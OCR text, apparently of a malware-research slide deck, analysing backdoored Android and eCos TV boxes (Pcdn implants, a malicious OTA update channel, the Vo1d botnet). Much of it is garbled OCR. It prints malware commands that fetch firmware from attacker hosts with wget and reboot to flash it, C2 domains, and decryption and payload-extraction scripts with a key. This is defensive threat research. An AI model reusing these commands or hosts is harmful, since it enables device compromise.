eCos Pcdn - Firmware



325 Firmware

- > boxupsev.mkuspt.com
- esc8ccgo.txp3tqc.com
- > x2x.dlx4c.com

0% 6d5195c	2a94b85c3	995b8cb4d	5c5791dec	745133	baff2938	5fdfd2□] [FRO
00000000:	53 6D 61	72-74 55	70 54-6F	6F 6C	52-6F 6	D 46 69	SmartUpToolRomFi
00000010:	6C 65 2D	41-70 70	20 73-6F	66 74	77-61 7	2 65 2E	le-App software.
00000020:	A6 F6 C6	1C-21 00	56 10-0C	00 A0	00-18 1	$1 \ 79 \ 50$???□ V□□? □□yP
00000030:	00 00 A0	00-00 00	00 00-5B	E3 05	6A-01 0	0 00 00	? [?□]□
00000040:	00 00 00	40-00 00	00 00-00	C0 0 <u>5</u>	00-66 E	D 09 00	firmware ″v????□0?Y`??F?
00000050:	00 00 01	80-EC 25	the charge		1010		LIUUMMane
00000060:	ട്ട് പ്	a leo	0FDIHIU		JEEC C	É 46 81	″v?? ?□Q?Y ??F?
00000070:	14 41 SF	01-02 00	00 80-00	00 00	00-C6 C	5 53 29	[A ?]] € ??S)
00000080:	00 00 00	00-00 00	00 00-00	00 00	00-00 0	0 00 00	
00000090:	02 00 00	80-00 00	00 00-00	00 00	00-00 0	0 00 00	€

32 Contains ddiyo1task


(kali@kali)-[~]
\$ grep -rl "ddiy01task" ./output > ddiy01.list

___(**kali⊛kali**)-[**~**]

🖵 💲 cat ddiy01.list| sort | uniq -c | sort -n 1 ./output/ 02845189335d15240b947178881a63a4.extracted/5AF571 1 ./output/ 02cd30601a5d33c962cd341155d45045.extracted/552A9A 1 ./output/ 0cef9e3221464ddc6fd1d899feb87ed2.extracted/125038 1 ./output/ 2542354fdf45fdbe316c01b36c91dfc9.extracted/9EE57 1 ./output/ 36f0bea6ac03773bc30cd6243838fe4a.extracted/5D4038 1 ./output/ 3afe0743b421e1d698f6e309ec508dae.extracted/56EA9A 1 ./output/_3d73d0c316b0e9233e6c18b7ee421105.extracted/9E976 1 ./output/_500C00TD2414c1873064f7d4c48ff683.extracted/99E99 1 ./output/_5685229a1c47f5adb847a28a330ca082.extracted/99E99 1 ./output/_50066eada64c3e3807519e5fffccc9ff.extnacted/990700100555 1 ./output/ 4fff9bc0f07cb9ed05703bf966502ce5.extracted/9A1BA 1 ./output/ 5e1bf26d820fe2d04b3c62647fc&a 🔩 🔩 🔩 1 ./output/ 5e1bf26d820fe2d04b3c62647fc 1 ./output/_5edf5029cfd0c8+79d4_126000.extracted 1 ./output/_635e8ed11825d4 51004+217d85a00.extracted 1.57c0e84897b20637e5f4d.extracted/9A23A 16a9626aaa900745174706ef4549a.extracted/9F60B 8b3eb37615c63ed6d3ff550b8a3af40a.extracted/BB5A2 1 ./output/ 9137f776a1bcce76f57b313de28134cd.extracted/9E941 1 ./output/_914f7b4f332667786e6ce377ea0c7d4b.extracted/9EA57 1 ./output/_994f8a4d19e50b299e00dbe104c1ae14.extracted/9F965 1 ./output/ a1678a31dff7c206b49f395387e503c1.extracted/5D7038 1 ./output/ b517082a09adb6a2449dea23f75f5a17.extracted/9E941 1 ./output/_cf89c91a7abeb82458ccffa7025216e8.extracted/B3D24 1 ./output/_d4c955b8d8ca21a4163f087c2c8ca701.extracted/9F9B5 1 ./output/ d83ea9c52919f3a267cc5ba2c6f8d92f.extracted/9E99F 1 ./output/ e14ec99dac2a1dfb48492c0f14aa0687.extracted/9F60B 1 ./output/_faa8cdacbc32b519ef50fce43f334253.extracted/5A5571

eCos Pcdn – C2?






Android Pcdn C2 & eCos Pcdn C2 Same IP

			() 4/94 secu	irity vendors flagged t	his domain as malicious	
	4 / 94 Community Score	•	ryy8zc.dotxui. dotxui.com Malicious (alph			
	DETECTION	DETAILS	RELATIONS	COMMUNITY 2		
	Passive DNS Rep	lication (1) 🛈)			
	Date resolved 2020-11-29	Dete 1 / 9	ctions	Resolver VirusTotal	IP 162.209.126.216	
Passiv	e DNS Replication	(15) ①				
Date r	resolved	Detections		Resolver	Doma	
2020-1	11-30	4 / 94		VirusTotal	plart2z.incenu.com	1
2020-1	11-30	5 / 94		VirusTotal	iptty3m.dotxui.con	n
2020-1	11-29	<mark>4</mark> / 94		VirusTotal	nikcc32.honisu.cor	n
2020-1	11-29	4 / 94		VirusTotal	ryy8zc.dotxui.com	
2020-1	11-28	<mark>4</mark> / 94		VirusTotal	wwrc9.ngoox.com	
2019-1	12-13	1 / 94		VirusTotal	couh2h.ngoox.com	
2019-1	12-12	2 / 94		VirusTotal	kp519bpa.fireisi.co	m
2019-1	12-12	1 / 94		VirusTotal	et5javb.snarutox.co	om
2019-1	11-29	<mark>4</mark> / 94		VirusTotal	in32hbccw.onecon	cord.net
2019-1	11-27	2 / 94		VirusTotal	hgxx123p.ourhous	ei.com
2019-1	11-24	2 / 94		VirusTotal	pu9z3cca.trumpary	.com
2019-0	09-15	1 / 94		VirusTotal	s3tccuz.incenu.con	า
2019-0	09-15	1 / 94		VirusTotal	mox8ty.oneconcor	d.net
2019-0)4-28	3 / 94		VirusTotal	zas8wie.snarutox.c	om
2018-0	04-06	1 / 94		VirusTotal Droidy	he8pkh.mkuspt.co	m

eCos Pcdn – Complaints



The eCos firmware do contains a DDoS component





Sneak into System

The OTA FIRMWARE

Pattern, APK, Sysup, Forum ...

Temptation



Dr Web: Application for streaming pirated movies & TV shows



OTA - Pattern



URL Pattern > /stb-download/



VirusTotal Intelligence > entity:url path:/stb-download/ > 22 urls

//yuo.tyt3s.com:8080/stb-download/s905x/package list.xml http:/ /bas.sw1ez.com:8080/stb-download/s905x/package_list.xml http: /cag.xv8ta.com:8080/stb-download/s905x/package list.xml http: bps.tr2eq.com:8080/stb-download/s905x/package_list.xml/ http: tyu.fart1.com:8080/stb-download/s905x/package list.xml http vpr.pprv1.com:8080/stb-download/s905x/package list.xml http: tyu.fart1.com:8080/stb-download/s905x/package list.xml http: http 'tyu.sdhenbe.com:8080/stb-download/s905x/package_list.xml xihb.bhowljw1.com:8080/stb-download/s905x/package http: xihb.lgewer1f.com:8080/stb-download/s905x/package http: tano.syhs8u.com:8080/stb-download/s905x/package list.xml http: tano.jdsefbe.com:8080/stb-download/s905x/package list.xml http: /xtsj.sisenji.com:8080/stb-download/s905x/package list.xml xtsj.syshebe.com:8080/stb-download/s905x/package_list.xml /xtsj.terwea.com:8080/stb-download/s905x/package_list.xml http: /xtsj.ofdad3.com:8080/stb-download/s905x/package list.xml http:/ http://tigx.xjs7zu.com:8080/stb-download/s905x/package list.xml http://tigx.xsefbe.com:8080/stb-download/s905x/package list.xml

http://7sys.gkdliewl.com:8080/stb-download/s905x3/package_list.xml http://7sys.bidlwli.com:8080/stb-download/s905x3/package_list.xml

http://msy.ulielfgl.com:8080/stb-download/s905y2/package_Com.swl.bleupdate

swl.app.Upgrade

OTA - APK



2 APK


- ✓ Swl.app.Upgrade
- ✓ Com.swl.bleupdate

public void setUrl() {

String model = Build.MODEL; if (model.equalsIgnoreCase("Ebox")) { this.DEFAULT ADDR = "http://yuo.tyt3s.com:8080/stb-download/s905x/package list.xml"; this.DEFAULT_ADDR2 = "http://bas.swlez.com:8080/stb-download/s905x/package_list.xml"; } else if (model.equalsIgnoreCase("Obox")) { this.DEFAULT ADDR = "http://caq.xv8ta.com:8080/stb-download/s905x/package list.xml"; this.DEFAULT ADDR2 = "http://bps.tr2eq.com:8080/stb-download/s905x/package list.xml"; } else if (model.equalsIgnoreCase("Hbox+")) { this.DEFAULT ADDR = "http://tyu.fart1.com:8080/stb-download/s905x/package list.xml"; this.DEFAULT ADDR2 = "http://vpr.pprv1.com:8080/stb-download/s905x/package list.xml"; } else if (model.equalsIgnoreCase("Htv-6H")) { this.DEFAULT ADDR = "http://tyu.fart1.com:8080/stb-download/s905x/package list.xml"; this.DEFAULT ADDR2 = "http://tyu.sdhenbe.com:8080/stb-download/s905x/package list.xml"; } else if (model.equalsIgnoreCase("H6-INT")) { this.DEFAULT_ADDR = "http://xihb.bhowljw1.com:8080/stb-download/s905x/package_list.xml"; this.DEFAULT_ADDR2 = "http://xihb.lgewer1f.com:8080/stb-download/s905x/package list.xml"; } else if (model.equalsIgnoreCase("Luna2")) { this.DEFAULT ADDR = "http://tano.syhs8u.com:8080/stb-download/s905x/package list.xml"; this.DEFAULT_ADDR2 = "http://tano.jdsefbe.com:8080/stb-download/s905x/package_list.xml"; } else if (model.equalsIgnoreCase("A3")) { this.DEFAULT ADDR = "http://xtsj.sisenji.com:8080/stb-download/s905x/package list.xml"; this.DEFAULT ADDR2 = "http://xtsj.syshebe.com:8080/stb-download/s905x/package list.xml"; } else if (model.equalsIgnoreCase("IceCream") || model.equalsIgnoreCase("A3Pro")) { this.DEFAULT_ADDR = "http://xtsj.terwea.com:8080/stb-download/s905x/package_list.xml"; this.DEFAULT_ADDR2 = "http://xtsj.ofdad3.com:8080/stb-download/s905x/package_list.xml"; else if (!model.equalsIgnoreCase("Tigre 2")) { else this.DEFAULT ADDR = "http://tigx.xjs7zu.com:8080/stb-download/s905x/package list.xml"; this.DEFAULT_ADDR2 = "http://tigx.xsefbe.com:8080/stb-download/s905x/package_list.xml";

Key Features

- 1. Download package list.xml
- 2. Download payload specified in xml
- 3. Upgrade



OTA - Sysup



New Implants ➢ Pcdn > Ptcrack ≻ P2p_peer > Play_station ≻ Sysup ▶ ...

asc

byte_7213	DCB 0x47,0xA4, 3,0x6C,0x63,0xAF,0xA8,0x6E,0xBD,0xAF,0xA1,0xA1,0x70,0x60
	; DATA XREF: main+30↑o
	; main+36°0
	DCB 0x62,0x73,0xAF,0xAF,0x77,0x73,0x73,0x7F,0x85,0xA8,0xA8,0x73,0x6E,0x69 DCB 0x68,0xA9,0x7C,0x46,0x77,0x7C,0x87,0x72,0xA9,0x6C,0x68,0x6A,0x85,0x87
	DCB 0x8F,0x87,0x8F,0x48,0x7C,0x73,0x6D,0xAA,0x63,0x68,0x70,0x69,0x6B,0x68
	DCB 0x6E,0x63,0xA8,0x7C,0x86,0xBF,0xB2,0xA8, 0xE,0xBD,0xAA,0x68,0x73,0x6E
	DCB 0xAA,0x72,0x7F,0x63,0x6E,0x73,0x62,0xAA,0xBD,0xBF,0xBE,0x86,0xBF,0xB3
	DCB 0xBE,0xBF,0xBF,0x86,0xB2,0xB3,0xA9,0x45,0x76,0x7F,0xAF,0xAA, 8,0xAF
	DCB 0x72,0x7F,0x63,0x6E,0x73,0x62,0xA9,0x45,0x76,0x7F,0xAF,0xA1,0xA1,0xAF
	DCB 0x6A,0x74,0x63,0x76,0x7D,0xAF,0xAA,0x7F,0xAF,0xA8,0x6C,0x6E,0x6C,0x77
	DCB 0x62,0xA8,0x7D,0x62,0x6C,0x68,0x71,0x62,0x7D,0x46,0xAF,0xA1,0xA1,0xAF
	DCB 0x6D,0x72,0x7C,0x46,0x6D,0x68,0x47,0xAF,0x62,0x6C,0x77,0x68,0xAF,0xA0
	DCB 0xAA,0xAA,0x72,0x7F,0x63,0x6E,0x73,0x62,0x18,0x7F,0x6E,0x6C,0x74,0x6E DCB 0x60,0x62,0xBA,0xA8,0x6E,0xBD,0xA8,0x72,0x7F,0x63,0x6E,0x73,0x62,0xA9
	DCB 0x45,0x76,0x7F,0xA0,0xB9,0xA8,0x6C,0x6E,0x6C,0x77,0x62,0xA8,0x7D,0x62
	DCB 0x6C,0x68,0x71,0x62,0x7D,0x46,0xA8,0x6C,0x68,0x6A,0x6A,0x6E,0x69,0x63
	DCB 0xA1,0xA1,0x7D,0x62,0x6D,0x68,0x68,0x73,0xAF,0x7D,0x62,0x6C,0x68,0x71
	DCB 0x62,0x7D,0x46, 0
	def decbuf(buf):
	leng=buf[0]^buf[1]^buf[2]
	Teng-bul[0] bul[1] bul[2]
	out=''
	for i in range(3, leng+3):
	<pre>tmp=((buf[i]^buf[1])-buf[1])&0xff</pre>
	<pre>out+=chr((tmp^buf[0]))</pre>
	print(out)
c 7213	DCB "cd /a2 &&wget http://tano.syhs8u.com:8080/stb-download/s905/A2-"
	; DATA XREF: main+30fo
	; main+3610
	DCB "ota-update-201904100954.zip -0 update.zip && mkdir -p /cache/rec"
	DCB "overy && busybox echo 'update package=/a2/update.zip'>/cache/r"
	DCB "ecovery/command&&reboot recovery"
	DCB 0
	DCB 0
	DCB 0
	DCB Ø

OTA - Sysup



New Implants ➢ Pcdn cd /htv && wget -c http://h5d.xeaqo.com:8080/stb-download/s905/Htv5-ota-update-2019.03.28-9.13.zip -O update.zip && mkdir -p /cache/recovery && busybox echo '--update_packag=/htv/ > Ptcrack update.zip'>/cache/recovery/command&&reboot recovery cd /a2 &&wget http://tano.syhs8u.com:8080/stb-download/s905/A2-ota-update-201904100954.zip -0 update.zip && mkdir -p /cache/recovery && busybox echo '--update package=/a2/update.zip'>/ cache/recovery/command&&reboot recovery ▶ P2p_peer cd /a2 &&wget http://tano.syhs8u.com:8080/stb-download/s905/CYX-spain-ota-update-201812181524.zip -0 update.zip && mkdir -p /cache/recovery && busybox echo '--update_package=/a2/ update.zip'>/cache/recovery/command&&reboot recovery > Play station cd /a2 &&wget http://tano.syhs&u.com:8080/stb-download/s905/A2-tigre-ota-update-2019.04.01-14.01.zip -0 update.zip && mkdir -p /cache/recovery && busybox echo '--update package=/a2/ update.zip'>/cache/recovery/command&&reboot recovery cd /htv && wget http://h5d.xeaqo.com:8080/stb-download/m3/HTV3-ota-full-20190624.zip -O update.zip && mkdir -p /cache/recovery && busybox echo '--update package=/htv/update.zip'>/cache/ > Sysup recovery/command&&reboot recovery ▶ ...

C:\work\1001night\pandora_final\sysup_firmw	are\A2-ota-update-201904100954.zip\system\bin\
名称	大小
HelloWorld	66 984
pandoraspear	316 796
🗋 pcdn	300 128

OTA - Forum



Fonestero.com

EL_LARA posted firmware named IRIS1800-4K_Pro_11.08.2023.zip

Author	Topic: IRIS 1800 4K PRO firmware. 08/22/2023 (Read 738 times)
0 Users and 2 Visitors are	viewing this topic.
EL_LARA	firmware IRIS 1800 4K PRO. 08/22/2023 « on: September 13, 2023, 20:36:06 20:36 »
Team Fonestero	
Acknowledgments panel	firmware IRIS 1800 4K PRO. 08/22/2023
-You have given: 1360	
-You have received: 109324	CONTENIDO PULSA EL BOTON GRACIAS y VERAS EL CONTENIDO Arriba a la derecha
Messages: 3998 : 01/01/24	
Karma: 53801 Sex: www.fonestero.com	FONESTERO.COM





A Conspicuous Kin

The VO1C Botnet

Evolution, Algorithm, Problems ...

Vo1d – "Angry" Boss

2024.09.12, Vo1d botnet, Drweb

✓ 1.3 M devices

✓ Download & Run Executable

Void captures over a million Android TV boxes

September 12, 2024

Doctor Web experts have uncovered yet another case of an Android-based TV box infection. The malware, dubbed <u>Android.Vo1d</u>, has infected nearly 1.3 million devices belonging to users in 197 countries. It is a backdoor that puts its components in the system storage area and, when commanded by attackers, is capable of secretly downloading and installing third-party software.

View Countries 23,0% Marcal 26,0% Agenta 26,0%

XXTEA DGA(5 seeds)





Vo1d – Surprise



Via a POST request, **Android.Vo1d.5** contacts the C&C server whose address is taken from a preassigned list. By default, the list has only a single address hxxp[:]//meiboot[.]com/api/config.

Cypher text

60	26	EQ	2/1	66	24	28	C4	E1	E1	00	3 5	EE	D7	EG	D/1	*+
	EF												8D			
																L~2L.3L
	0 0												E9			E0
E9	CD	5F	B9	93	DE	CA	45	C9	D6	0 8	94	F7	7D	B9	EE	E
A9	D0	78	45	76	94	80	9D	F7	05	24	D7	30	E2	C 0	ØF	Ev0
04	6E	60	53	23	BD	50	03	BF	2C	Α9	BB	Β4	5C	C5	11	.n`S#.P,\
5A	1D	CE	25	7D	42	03	4F	7E	1C	7A	3E	1A	68	E8	9A	Z}B.O~.z>.h
00	10	8D	18	28	AC	26	BD	71	AE	4 A	C9	B9	23	0 B	9B	(.&.q.Ju·#
C1	01	67	46	Α9	01	5E	70	F1	D9	BD	7F	56	4B	97	61	gF^pVK.a
64	FF	C1	D9	6E	93	AB	40	66	D5	СВ	F4	02	F5	FC	53	dn@fS
11	51	A9	80	5C	07	16	AB	CB	98	25	FE	02	F3	89	7E	.Q\ [°] ·%
57	91	7A	64	СС	2C	7A	71	E8	83	33	59	ØA	Α9	59	23	W.zdzqYY#
CF	4A	6B	E4	24	1 A	F7	8C	A9	04	5D	65	B6	74	87	19	k]e.t
42	49	E3	69	03	DD	Α4	C9	75	FE	Α7	3C	07	C1	91	67	BI,∙يs
54	45	FE	5F	CF	45	72	F8	BD	47	95	BA	81	A7	54	50	TErGTP
55	29	92	2F	81	82	71	9B	43	1C	EB	27	16	CA	87	E2	U)./q.Cŀ.
BA	83	A0	1E	85	EF	75	E4	63	88	2D	0 B	53	76	B6	Β3	cSv
D6	68	19	E2	6C	2B	67	4F	ØA	9D	DE	FE	93	42	43	CE	gOBC.
87	AD	01	00	01	CA	8 A	60	B2	F7	F7	0 8	0E	0 8	09	ØD	ʊ·`
09	ØE	0D	0C	Β3	Β3	F7	B3	B9	ØF	B2	09	B2	BC	0F	B2	

def decbuf(buf):

leng=buf[0]^buf[1]^buf[2]
out=''
for i in range(3, leng+3):
 tmp=((buf[i]^buf[1])-buf[1])&0xff
 out+=chr((tmp^buf[0]))
print(out)

Plain text

0x15728
google.com
0x15743
{"u":"%s", "m":"%s", "a":"%d", "s":"%d"}
0x1576f
http://%s/api/config
0x15736
baidu.com
0x159dc
meiboot.com
0x159eb
%02x%02x

Vo1d – A little Blue



Are we stupid or what?

✓ Can' t get the payload
✓ Let 's use emulator

Android.Vo1d.5 extracts and decrypts a payload from itself, using the XXTEA algorithm with the key fPNH830ES23Q0PIM*&S955 (2WR@L*&GF). The decrypted object—the main Android.Vo1d.5 body—is loaded into the RAM.

5 import flare_emu 6 import hexdump			
7			
<pre>8 def extract_payload(xxtea_call: int, input_addr: int, length: int, key: bytes = b'fPNH830ES23Q0PIM') -> None:</pre>			
9			
<pre>10 start_time = time.time() 11 eh = flare emu.EmuHelper()</pre>			
12 eh.apiHooks.update({			
<pre>13 'aeabi_memclr': eh.apiHooks['memset'],</pre>	00000000: 7F 45 4C 46 01 01 01 00	00 00 00 00 00 00 00 00 00	.ELF
14 'aeabi_memcpy': eh.apiHooks['memcpy'] 15 })	R0: 00017000 R1: 00000000		
16	R2: 51333253 R3: 001B2FA4		
<pre>17 out_buf = eh.allocEmuMem(length) 18 in_buf = ida_bytes.get_bytes(input addr, length)</pre>	R4: 9E3678B8 R5: 00170000		
19 eh.emulateRange(
<pre>20 startAddr=xxtea_call, 21 registers={'R0': in_buf, 'R1': out_buf, 'R2': length, 'R3':</pre>	R6: 464C457F R7: 00037FF8		
key},	R8: 00000000 R9: 0000000		
22 skipCalls=False	R10: 0000000 R11: 0000000		
<pre>24 decrypted_data = eh.getEmuBytes(out_buf, length)</pre>	R12: 35BFDA2E R13: 00037FEC		
<pre>25 output_filename = f"{idc.get_root_filename()}.decrypt" 26 with crea(sutput filename "wh") or sutput filen</pre>			
26 with open(output_filename, "wb") as output_file: 27 output_file.write(decrypted_data)	R14: 4A86A6AC R15: 0000B894		
<pre>28 hexdump.hexdump(decrypted_data[:0x10])</pre>	PC: 0000B894		
<pre>29 print(eh.getEmuState()) 30 print(f"Time taken: {time.time() - start_time:.2f} seconds")</pre>	SP: 00037FEC		
31			
32 33 xxtea addr = 0xb77c			
34 input_addr = 0x1e1e0	Time taken: 863.35 seconds		
<pre>35 length = 0x17004 36 extract_payload(xxtea_addr, input_addr, length)</pre>			
polextract_payroau(xxtea_auur, input_auur, iength)			

Vo1d – asr xxtea

v16 = v17 =

if (v



[SP,#0x148+var_134

RØ 1C88647 , RØ

1,R6,LSL#2]

,R12,LSL#2]

R3,LSL#2 R3.ASR#3

			asol	
16 = 0xB54CDA56 - 0x61C88647 * sub 529C(52, v34); 17 = v34 - 1; F (v16)		LSR	VS	ASR
	LDR			
<pre>v18 = *v15; if (v14 >= 8)</pre>	AND.W	R4, [SP,#0x40+var_34]		R12, R8, [SP,#
{	MOV	R2, R9, #3 R1, R10	AND.W	R6, LR, # 3
v33 = v15;	LDR.W	R2, [R11,R2,LSL#2]	LDR.W	R1, [R8]
v32 = (int)&v15[v34 - 1];	LDR.W	R0, [R4,R10,LSL#2]	LDR.W	R6, [R11,R6,L9
do {	LDR.W	R12, [R4]	LDR.W	R0, [R8,R12,L9
v23 = (int *)v32; v24 = v17 ^ (v16 >> 2); v25 = v34	LSLS	R3, R0, #4	ASRS	R5, R0, # 5
v24 = v17 ^ (v16 >> 2);	LSRS	R5, R0, #5	LSLS	R4, R0, # 4
$\sqrt{2}$	EORS	R0, R2	EORS	RØ, R6
v26 = v18 ^ v16; v27 = (int *)v32;	EOR.W	R2, R6, LR	EOR.W	R5, R5, R3,LSI
do	EOR.W	R3, R3, R6,LSR#3	EOR.W	R3, R4, R3,ASF
{	EOR.W	R5, R5, R6,LSL#2	ADD	RØ, R2
v28 = *v27;	ADD	R3, R5	ADD	R3, R5
$\frac{v_{18} = v_{23} - (((v_{28} \wedge v_{36}[v_{24} \& 3]) + v_{26}) \wedge (((v_{28} \gg 5) \wedge (4 * v_{18})) + ((16 * v_{28}) \wedge (v_{18} \gg 3))));}{v_{29} = v_{25} 2;}$	ADD	RØ, R2	EORS	R0, R3
$v_{25} = v_{25} = -2$; $v_{26} = v_{18} \wedge v_{16}$;	EORS SUB.W	RØ, R3	SUBS	R3, R1, RØ
$LOBYTE(v24) = v29 ^ (v16 >> 2);$	MOV	R6, R12, R0 R0, #0x61C88647	MOV	RØ, # 0x61C8864
*v23 = v18;	ADDS.W	LR, LR, RØ	ADDS.W	R10, R10, R0
v23 = v27;	STR	R6, [R4]	STR.W	R3, [R8]
<pre>} while (v25 > 1);</pre>	BNE	loc_2D22	BNE	loc_20C6

Conceptual Difference


- LSR just shifts bits to the right. It does not care whether the number is signed • or not.
- ASR shifts while keeping the sign intact (i.e., keeps the number negative if it • was negative).

Vo1d – asr xxtea



Reason

	LSR V	VS	ASR
🛄 🗹 🖼			
LDR	R4, [SP,#0x40+var_34]	LDRD.W	R12, R8, [SP,#0x148+var 134]
AND.W	R2, R9, #3	AND.W	R6, LR, # 3
MOV	R1, R10	LDR.W	R1, [R8]
LDR.W	R2, [R11,R2,LSL#2]	LDR.W	R6, [R11,R6,LSL#2]
LDR.W	R0, [R4,R10,LSL#2]	LDR.W	RØ, [R8,R12,LSL#2]
LDR.W	R12, [R4]	ASRS	R5, R0, #5
LSLS	R3, R0, #4	LSLS	
LSRS	R5, R0, #5		R4, R0, # 4
EORS	R0, R2	EORS	R0, R6
EOR.W	R2, R6, LR	EOR.W	R5, R5, R3,LSL#2
EOR.W	R3, R3, R6,LSR#3	EOR.W	R3, R4, R3,ASR#3
EOR.W	R5, R5, R6,LSL#2	ADD	R0, R2
ADD	R3, R5	ADD	R3, R5
ADD	RØ, R2	EORS	RØ, R3
EORS	RØ, R3	SUBS	R3, R1, R0
SUB.W	R6, R12, R0		
MOV	R0, #0x61C88647	MOV	R0, # 0x61C88647
ADDS.W	LR, LR, RØ	ADDS.W	R10, R10, R0
STR	R6, [R4]	STR.W	R3, [R8]
BNE	loc_2D22	BNE	loc_20C6



Vo1d – A New Campaign



2024.11.28, Vo1d Downloader, XLab http://38.46.218.36:81/v1.0.0/jddx

E6	85	66	CD	9F	CB	C8	92	00	97	F9	69	52	24	48	15	iR\$H.
16	25	12	00	33	6B	52	8F	83	8E	BC	8C	Α3	81	AC	D6	.%3kR
A9	00	8 A	ED	70	0 B	0 B	3E	72	47	4B	44	48	7C	3B	3F	>rGKDH ;?
39	70	04	4 A	41	4B	48	70	4D	4D	4D	4D	00	4E	E9	87	9p.JAKHpMMMM.N
FA	8B	F1	FF	B6	88	B6	F8	FC	88	81	F8	8D	F8	FF	F1	
FC	FA	88	8C	F8	FD	8E	8 A	FA	89	81	FA	FF	FC	F8	8C	
00	Β3	ED	7E	53	9F	29	9E	50	9A	99	9E	29	9F	82	52).P)R
9C	80	9F	99	82	2E	9C	82	9D	2F	80	9E	9C	83	82	99	/
2F	80	2E	80	00	??	??	??	??	??	??	??	??	??	??	??	//
25	73	2F	2F	74	99	99	88	99	25	73	2F	64	61	74	65	%s/.t%s/date
																JNI_OnLoad
													- · ·			
00	00	73	73	6C	38	37	33	36	32	2E	63	6F	6D	3A	76	ss187362.com:v
			73 32								63 00					
30	35	33		ЗA	39	39	39	39	00	00		00	64	37	61	ssl87362.com:v
30 63	35 38	33 36	32	3A 66	39 62	39 36	39 31	39 66	00 35	00 66	00	00 61	64 62	37 64	61 36	ss187362.com:v 0532:9999d7a
30 63 32	35 38 66	33 36 65	32 38	3A 66 34	39 62 64	39 36 39	39 31 31	39 66 64	00 35 63	00 66 62	00 63	00 61 32	64 62 00	37 64 00	61 36 00	ssl87362.com:v 0532:9999d7a c868fb61f5fcabd6
30 63 32 00	35 38 66 62	33 36 65 36	32 38 30	3A 66 34 35	39 62 64 63	39 36 39 39	39 31 31 34	39 66 64 35	00 35 63 64	00 66 62 36	00 63 66	00 61 32 61	64 62 00 37	37 64 00 33	61 36 00 36	ssl87362.com:v 0532:9999d7a c868fb61f5fcabd6 2fe04d91dcbf2
	16 A9 39 FA FC 00 9C 2F 25	16 25 A9 00 39 70 FA 8B FC FA 00 B3 9C 80 2F 80 2F 80	16 25 12 A9 00 8A 39 70 04 FA 8B F1 FC FA 88 00 B3 ED 9C 80 9F 2F 80 2E 25 73 2F	16 25 12 00 A9 00 8A ED 39 70 04 4A FA 8B F1 FF FC FA 88 8C 00 B3 ED 7E 9C 80 9F 99 2F 80 2E 80	16 25 12 00 33 A9 00 8A ED 70 39 70 04 4A 41 FA 8B F1 FF B6 FC FA 88 8C F8 00 B3 ED 7E 53 9C 80 9F 99 82 2F 80 2E 80 00	16 25 12 00 33 6B A9 00 8A ED 70 0B 39 70 04 4A 41 4B FA 8B F1 FF B6 88 FC FA 88 8C F8 FD 00 B3 ED 7E 53 9F 9C 80 9F 99 82 2E 2F 80 2E 80 00 ??	16 25 12 00 33 6B 52 A9 00 8A ED 70 0B 0B 39 70 04 4A 41 4B 48 FA 8B F1 FF B6 88 B6 FC FA 88 8C F8 FD 8E 00 B3 ED 7E 53 9F 29 9C 80 9F 99 82 2E 9C 2F 80 2E 80 00 ?? ?? 25 73 2F 2E 74 00 00	E6 85 66 CD 9F CB C8 92 16 25 12 00 33 6B 52 8F A9 00 8A ED 70 0B 0B 3E 39 70 04 4A 41 4B 48 70 FA 8B F1 FF B6 88 B6 F8 FC FA 88 8C F8 FD 8E 8A 00 B3 ED 7E 53 9F 29 9E 9C 80 9F 99 82 2E 9C 82 2F 80 2E 80 00 ?? ?? ?? 25 73 2F 2E 74 00 00 00 00 00 00 00 00 4A 4E 49 5F	16 25 12 00 33 6B 52 87 A9 00 8A ED 70 0B 0B 3E 72 39 70 04 4A 41 4B 48 70 4D FA 8B F1 FF B6 88 B6 F8 FC FC FA 88 8C F8 FD 8E 8A FA 00 B3 ED 7E 53 9F 29 9E 50 9C 80 9F 99 82 2E 9C 82 9D 2F 80 2E 80 00 ?? ?? ?? 25 73 2F 2E 74 00 00 00 00	16 25 12 00 33 6B 52 8F 83 8E A9 00 8A ED 70 0B 0B 3E 72 47 39 70 04 4A 41 4B 48 70 4D 4D FA 8B F1 FF B6 88 B6 F8 FC 88 FC FA 88 8C F8 FD 8E 8A FA 89 00 B3 ED 7E 53 9F 29 9E 50 9A 9C 80 9F 99 82 2E 9C 82 9D 2F 2F 80 2E 80 00 ??	16 25 12 00 33 6B 52 8F 83 8E BC A9 00 8A ED 70 0B 0B 3E 72 47 4B 39 70 04 4A 41 4B 48 70 4D 4D 4D FA 8B F1 FF B6 88 B6 F8 FC 88 81 FC FA 88 8C F8 FD 8E 8A FA 89 81 00 B3 ED 7E 53 9F 29 9E 50 9A 99 9C 80 9F 99 82 2E 9C 82 9D 2F 80 2F 80 2E 80 00 ??	16 25 12 00 33 6B 52 8F 83 8E BC 8C A9 00 8A ED 70 0B 0B 3E 72 47 4B 44 39 70 04 4A 41 4B 48 70 4D 4D 4D FA 8B F1 FF B6 88 B6 F8 FC 88 81 F8 FC FA 88 8C F8 FD 8E 8A FA 89 81 FA 00 B3 ED 7E 53 9F 29 9E 50 9A 99 9E 9C 80 9F 99 82 2E 9C 82 9D 2F 80 9E 2F 80 2E 80 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??	16 25 12 00 33 6B 52 8F 83 8E BC 8C A3 A9 00 8A ED 70 0B 0B 3E 72 47 4B 44 48 39 70 04 4A 41 4B 48 70 4D 4D 4D 4D 00 FA 8B F1 FF B6 88 B6 F8 FC 88 81 F8 8D FC FA 88 8C F8 FD 8E 8A FA 89 81 FA FF 00 B3 ED 7E 53 9F 29 9E 50 9A 99 9E 29 9C 80 9F 99 82 2E 9C 82 9D 2F 80 9E 9C 2F 80 2E 80 00 ?? ?? ?? ?? ?? ?? ?? ?? ??	16 25 12 00 33 6B 52 8F 83 8E BC 8C A3 81 A9 00 8A ED 70 0B 0B 3E 72 47 4B 44 48 7C 39 70 04 4A 41 4B 48 70 4D 4E FA 8B F1 FF B6 88 B6 F8 FC 88 81 F8 8D F8 FC FA 88 8C F8 FD 8E 8A FA 89 81 FA FF FC 00 B3 ED 7E 53 9F 29 9E 50 9A 99 9E 29 9F 9C 80 9E 9C 83 2F 80 9E 9C 82 2P 2P 2P 2P 2P 2P 2P	16 25 12 00 33 6B 52 8F 83 8E BC 8C A3 81 AC A9 00 8A ED 70 0B 0B 3E 72 47 4B 44 48 7C 3B 39 70 04 4A 41 4B 48 70 4D 4D 4D 00 4E E9 FA 8B F1 FF B6 88 B6 F8 FC 88 81 F8 SD F8 FF FC FA 88 8C F8 FD 8E 8A FA 89 81 FA FF FC F8 90 B3 ED 7E 53 9F 29 9E 50 9A 99 